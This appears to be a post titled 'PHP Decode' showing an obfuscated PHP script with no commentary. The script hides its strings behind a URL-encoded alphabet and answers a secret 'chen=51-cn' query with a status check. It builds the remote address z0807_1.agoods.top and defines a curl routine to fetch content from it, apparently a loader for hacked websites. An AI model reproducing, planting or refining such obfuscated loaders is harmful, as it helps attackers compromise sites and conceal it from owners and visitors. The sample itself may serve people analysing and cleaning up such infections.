PHP Decode

<?php  
@header('Content-Type:text/html;charset=utf-8'); 
error_reporting(0); $OOOOOO="%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";  
global $O;  
$O=urldecode($OOOOOO); 
if($_GET[$O{21}.$O{15}.$O{2}.$O{24}]==$O{69}.$O{64}.$O{53}.$O{21}.$O{24}){ 
    $oooOoOoOoooOooOOooooo = file_get_contents(__FILE__); 
    $oooOoOoOoOoooooOOooo = explode($O{58}.$O{55}.$O{9}.$O{15}.$O{9},$oooOoOoOoooOooOOooooo); 
    if(strpos($oooOoOoOoOoooooOOooo[1],'%71%77%65')!==false){  
        echo $O{81}.$O{8}.$O{17}.$O{88}.$O{82}; 
        exit; 
    }else{ 
        echo $O{81}.$O{13}.$O{10}.$O{7}.$O{18}.$O{88}.$O{82}; 
        exit; 
    } 
} 
 
$oOooOO='z0807_1'; 
$oOooOOoO=$O{15}.$O{4}.$O{4}.$O{9}.$O{62}.$O{63}.$O{63}.$oOooOO.$O{59}.$O{10}.$O{14}.$O{8}.$O{8}.$O{12}.$O{11}.$O{59}.$O{4}.$O{8}.$O{9};  
function ooooooooOOOOOOOOoooooOOO($oooOOOoOoo){ 
    $ooooOOOooOo=curl_init(); 
    curl_setopt ($ooooOOOooOo, CURLOPT_URL, $oooOOOoOoo);curl_setopt ($ooooOOOooOo, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ooooOOOooOo, CURLOPT_CONNECTTIMEOUT, 5);$oooooOOOOooO = curl_exec($ooooOOOooOo); 
    curl_close($ooooOOOooOo); 
    return $oooooOOOOooO;  
} ?>